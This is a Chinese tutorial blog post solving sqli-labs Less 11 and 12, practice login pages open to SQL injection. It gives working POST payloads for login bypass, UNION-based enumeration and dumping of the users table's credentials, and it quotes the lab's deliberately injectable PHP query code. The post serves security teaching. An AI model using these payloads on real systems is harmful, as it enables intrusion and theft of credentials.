sqli-labs 通关指南:Less 11、12

Less 11 和 12 网页都提供了一个登陆界面,注入的基本思想和步骤与 Less 1 ~ 4 相同,这里需要使用 POST 方法提交参数。

Less 11#

POST-Error Based-Single quotes-String(基于错误的POST型单引号字符型注入)。

判断注入类型#

我们首先尝试下这个网页的正常用法,输入一个正确的用户名和密码试试,网页显示登陆成功。

接下来直接在 “Username” 中直接注入单引号,网页返回报错信息,说明存在 Sql 注入。

注入万能密码试试,用户名随便写点东西,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示我们注入成功,由于此处使用的是单引号闭合,因此这里是字符型注入。

Copy Highlighter-hljs
a' OR 1 = 1#


使用 Brup 抓包,看到网页是通过 POST 方法提交参数,提交的参数如下。

Copy Highlighter-hljs
uname=&passwd=&submit=Submit

获取数据库信息#

判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

Copy Highlighter-hljs
uname=a' OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit


对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

Copy Highlighter-hljs
uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit


爆数据库名,首先注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方。

Copy Highlighter-hljs
uname=a&passwd=a' UNION SELECT database(),1#&submit=Submit


爆表名,使用联合查询在 “information_schema.tables” 中查询表名,表名来自 “security” 数据库。

Copy Highlighter-hljs
uname=a&passwd=a' UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema=0x7365637572697479#&submit=Submit


爆字段名,使用联合查询在 “information_schema.columns” 中查询表名,字段名来自 “security” 数据库的 “users” 表。

Copy Highlighter-hljs
uname=a&passwd=a' UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_schema='security' AND table_name='users'#&submit=Submit

获取目标信息#

接下来爆出 users 表中的用户名和密码,构造出 payload 如下。

Copy Highlighter-hljs
uname=a&passwd=a' UNION SELECT 1,group_concat(concat_ws(':',username,password)) FROM security.users#&submit=Submit

关卡 Sql 查询语句#

Copy Highlighter-hljs
@$sql = "SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result); if($row) { //echo '<font color= "#0000ff">'; echo "<br>"; echo '<font color= "#FFFF00" font size = 4>'; //echo " You Have successfully logged in\n\n " ; echo '<font size="3" color="#0000ff">'; echo "<br>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "<br>"; echo "</font>"; echo "<br>"; echo "<br>"; echo '<img src="../images/flag.jpg" />'; echo "</font>"; } else { echo '<font color= "#0000ff" font size="3">'; //echo "Try again looser"; print_r(mysql_error()); echo "</br>"; echo "</br>"; echo "</br>"; echo '<img src="../images/slap.jpg" />'; echo "</font>"; }

Less 12#

POST-Error Based-Double quotes-String-with twist(基于错误的双引号 POST 型字符型变形的注入)

判断注入类型#

用户名随便写点东西后用单引号闭合,使用 OR 运算符构造恒真条件,使用 “#” 注释掉后面的内容注入。网页提示登录失败,并且没有返回报错信息,说明不是用单引号闭合。

Copy Highlighter-hljs
a' OR 1 = 1#


注入以下的内容,统统都显示登录失败且无回显。

Copy Highlighter-hljs
a') OR 1 = 1# a')) OR 1 = 1#


使用双引号进行闭合时,发现 MySql 返回报错信息。说明网页通过双引号进行闭合,但是此时语法不对。

Copy Highlighter-hljs
a" OR 1 = 1#


添加一个括号,使用双引号闭合,此时网页提示我们登录成功。综上所述,网页存在字符型注入漏洞,并且使用双引号和括号进行闭合。

Copy Highlighter-hljs
a") OR 1 = 1#


使用 Brup 抓包,网页是通过 POST 方法提交的参数如下。

Copy Highlighter-hljs
uname=&passwd=&submit=Submit

获取数据库信息#

Less 12 仅对字符的闭合方式不同于 Less 11,注入的方式完全相同。判断表有几列,使用 ORDER BY 子句进行排序看下对几列有效。对第二列对返回的结果排序,网页返回正常。

Copy Highlighter-hljs
uname=a' OR 1 = 1 ORDER BY 2#&passwd=&submit=Submit


对第 3 列对返回的结果排序,网页返回不知道第 3 列,说明一共有 2 列。

Copy Highlighter-hljs
uname=a' OR 1 = 1 ORDER BY 3#&passwd=&submit=Submit


爆数据库名,注入错误的用户名和密码,使其找不到数据。使用 UNION 进行联合查询,查询成功把数据库名接到网页回显的地方。

Copy Highlighter-hljs
uname=a&passwd=a' UNION SELECT database(),1#&submit=Submit


爆表名,使用联合查询在 “information_schema.tables” 中查询表名,表名来自 “security” 数据库。

Copy Highlighter-hljs
uname=a&passwd=a") UNION SELECT 1,group_concat(table_name) FROM information_schema.tables WHERE table_schema = 'security'#&submit=Submit


爆字段名,使用联合查询在 “information_schema.columns” 中查询表名,字段名来自 “security” 数据库的 “users” 表。

Copy Highlighter-hljs
uname=a&passwd=a") UNION SELECT 1,group_concat(column_name) FROM information_schema.columns WHERE table_name = 'users' AND table_schema = 'security'#&submit=Submit

获取目标信息#

爆出 users 表中的用户名和密码,构造出 payload 如下。

Copy Highlighter-hljs
uname=a&passwd=a") UNION SELECT 1,group_concat(concat_ws(":",username,password)) FROM security.users#&submit=Submit

关卡 Sql 查询语句#

Copy Highlighter-hljs
$uname = '"'.$uname.'"'; $passwd = '"'.$passwd.'"'; @$sql = "SELECT username, password FROM users WHERE username=($uname) and password=($passwd) LIMIT 0,1"; $result = mysql_query($sql); $row = mysql_fetch_array($result);
posted @   乌漆WhiteMoon  阅读(988)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· DeepSeek 开源周回顾「GitHub 热点速览」
· 记一次.NET内存居高不下排查解决与启示
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· .NET10 - 预览版1新功能体验(一)
点击右上角即可分享
微信分享提示
CONTENTS